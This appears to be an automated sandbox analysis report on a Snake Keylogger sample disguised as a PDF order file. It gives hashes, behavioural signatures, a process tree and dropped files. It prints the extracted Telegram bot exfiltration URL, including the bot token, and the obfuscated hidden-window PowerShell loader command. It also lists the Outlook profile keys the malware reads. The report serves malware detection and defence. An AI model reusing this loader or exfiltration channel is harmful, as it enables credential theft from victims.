Analysis
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max time kernel
144s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
15-11-2024 16:24
Static task
static1
Behavioral task
behavioral1
Sample
Order88983273293729387293828PDF.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Order88983273293729387293828PDF.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
Chromonemal.ps1
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
Chromonemal.ps1
Resource
win10v2004-20241007-en
General
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Target
Order88983273293729387293828PDF.exe
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Size
682KB
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MD5
6e62c2f3acd34a6cf4eee9f493ceb3a1
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SHA1
dc025bd9290f738c1870f7d9861da95af549dfd0
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SHA256
134be2720dc277e7be61620837bfd47e02892d9641294cbe4457d7bae4510a19
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SHA512
20beb4e7572a1026603399676dc55573105f2359d418aa504f73a8486337b1843ab9ea8db6ccd3bd11b05ff2686b3cefdadbbef321d7da546da9a733b7c626e9
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SSDEEP
12288:G0mnA1zxuAL9BFGFx6Dpu/ay+xSnliR6r9t3DSDb4NF:uA1zxumVoIDIikcu3ewb
Malware Config
Extracted
snakekeylogger
https://api.telegram.org/bot7610532139:AAFiI3HHwFD6pWziyPu3lWJbRKPQtz0nD2c/sendMessage?chat_id=6680692809
Signatures
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Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
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Snake Keylogger payload 2 IoCs
resource yara_rule behavioral2/memory/4604-66-0x0000000000E30000-0x0000000002084000-memory.dmp family_snakekeylogger behavioral2/memory/4604-67-0x0000000000E30000-0x0000000000E56000-memory.dmp family_snakekeylogger -
Snakekeylogger family
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3668 powershell.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
Blocklisted process makes network request 4 IoCs
flow pid Process 23 4604 msiexec.exe 33 4604 msiexec.exe 40 4604 msiexec.exe 43 4604 msiexec.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 32 checkip.dyndns.org -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 4604 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 3668 powershell.exe 4604 msiexec.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\resources\0409\propangas.lem Order88983273293729387293828PDF.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Order88983273293729387293828PDF.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe -
Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 3668 powershell.exe 3668 powershell.exe 3668 powershell.exe 3668 powershell.exe 3668 powershell.exe 3668 powershell.exe 3668 powershell.exe 3668 powershell.exe 3668 powershell.exe 4604 msiexec.exe 4604 msiexec.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 3668 powershell.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 3668 powershell.exe Token: SeIncreaseQuotaPrivilege 3668 powershell.exe Token: SeSecurityPrivilege 3668 powershell.exe Token: SeTakeOwnershipPrivilege 3668 powershell.exe Token: SeLoadDriverPrivilege 3668 powershell.exe Token: SeSystemProfilePrivilege 3668 powershell.exe Token: SeSystemtimePrivilege 3668 powershell.exe Token: SeProfSingleProcessPrivilege 3668 powershell.exe Token: SeIncBasePriorityPrivilege 3668 powershell.exe Token: SeCreatePagefilePrivilege 3668 powershell.exe Token: SeBackupPrivilege 3668 powershell.exe Token: SeRestorePrivilege 3668 powershell.exe Token: SeShutdownPrivilege 3668 powershell.exe Token: SeDebugPrivilege 3668 powershell.exe Token: SeSystemEnvironmentPrivilege 3668 powershell.exe Token: SeRemoteShutdownPrivilege 3668 powershell.exe Token: SeUndockPrivilege 3668 powershell.exe Token: SeManageVolumePrivilege 3668 powershell.exe Token: 33 3668 powershell.exe Token: 34 3668 powershell.exe Token: 35 3668 powershell.exe Token: 36 3668 powershell.exe Token: SeDebugPrivilege 4604 msiexec.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 2500 wrote to memory of 3668 2500 Order88983273293729387293828PDF.exe 84 PID 2500 wrote to memory of 3668 2500 Order88983273293729387293828PDF.exe 84 PID 2500 wrote to memory of 3668 2500 Order88983273293729387293828PDF.exe 84 PID 3668 wrote to memory of 4604 3668 powershell.exe 99 PID 3668 wrote to memory of 4604 3668 powershell.exe 99 PID 3668 wrote to memory of 4604 3668 powershell.exe 99 PID 3668 wrote to memory of 4604 3668 powershell.exe 99 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\Order88983273293729387293828PDF.exe"C:\Users\Admin\AppData\Local\Temp\Order88983273293729387293828PDF.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2500 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Binomialfordelt=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Chromonemal.Opg';$Archibuteo=$Binomialfordelt.SubString(54418,3);.$Archibuteo($Binomialfordelt)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3668 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:4604
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
53KB
MD565171ebd8fd8c699770edee943ff09f1
SHA1dc17dd3e384f06c03015b136cc068c2973673981
SHA25673a4a59e35863571281154449961ab2a81ff47c3baa341d7de100287a0043274
SHA512f0f1c8a7dfa94feb7fc7e170ad4abfde9a4bc7d7af1a5c4cd763ca93484256a6a37fd5fb515345987af8daaedd812cfb3e0f5944ccdb0ee4983a0a71da53a144
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Filesize
330KB
MD5b861cf3da394f7f9973e55ad07eedc61
SHA108f5a734f3cf625e52abf462216fba82be10a430
SHA256222afe763d83a4f8e09f820bf1dc20b8aef212ec7503e07d60941f4661f4fc9b
SHA51241203f0af9147cf432c4ed85670f2f2d422cc49cbf67720bf69de97e16697f813c40cbbbf50500745eedd925aca2c3411007303d160b3e52b4fe71c2084f471d
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82